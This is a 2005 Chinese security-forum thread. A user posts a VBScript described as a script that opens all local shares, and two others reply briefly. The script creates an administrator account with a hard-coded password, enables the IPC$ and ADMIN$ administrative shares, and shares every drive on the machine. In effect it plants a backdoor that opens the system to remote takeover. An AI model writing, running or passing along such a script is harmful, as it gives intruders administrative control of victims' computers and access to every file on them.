|
 | 作者: mxlong [mxlong]
 论坛用户 |
登录 |
| 一个小玩艺，写的很烂，没什么技术含量，望广大菜鸟来批评。 Dim Fso,WshShell,d,s,dc,n '定义共享盘符 Disks=Array("A$=A:","C$=C:","D$=D:","E$=E:","F$=F:","H$=H:","I$=I:","J$=J:","K$=K:","L$=L:","M$=M:","N$=N:","O$=O:","P$=P:","Q$=Q:","R$=R:","S$=S:","T$=T:","U$=U:","V$=V:","W$=W:","X$=X:","Y$=Y:","Z$=Z:") Set WshShell=WSCript.CreateObject("WSCript.Shell") Set Fso=CreateObject("Scripting.FileSystemObject") Set dc=Fso.Drives '添加用户到ADMIN组，开IPC$和ADMIN$ WshShell.Run "net user mxlong 123456 /add" WshShell.Run "net localgroup administrators mxlong /add" WshShell.Run "net share IPC$" WshShell.Run "net share ADMIN$" '找出驱动器的数目 For Each d In dc s=s & d.DriveLetter n=n+1 Next '将所有驱动器开共享 For i=0 to n WshShell.Run "net share " & Disks(i) Next |
| 地主 发表时间: 05-07-30 18:20 |
 | 回复: DaemonTools [a7611679_]  论坛用户 |
登录 |
|
一个小小的VBS! |
| B1层 发表时间: 05-08-08 13:58 |
 | 回复: wukiy [wukiy] 论坛用户 |
登录 |
|
为什么要用脚本呢？ 就是加他帐户和开共享吗？用VB一样也能编呀。。。。。。。。。。 |
| B2层 发表时间: 05-08-14 19:58 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写：NetDemon
粤ICP备05087286号
论坛: 编程破解
标题: [原]一个开本地所有共享的脚本-_-#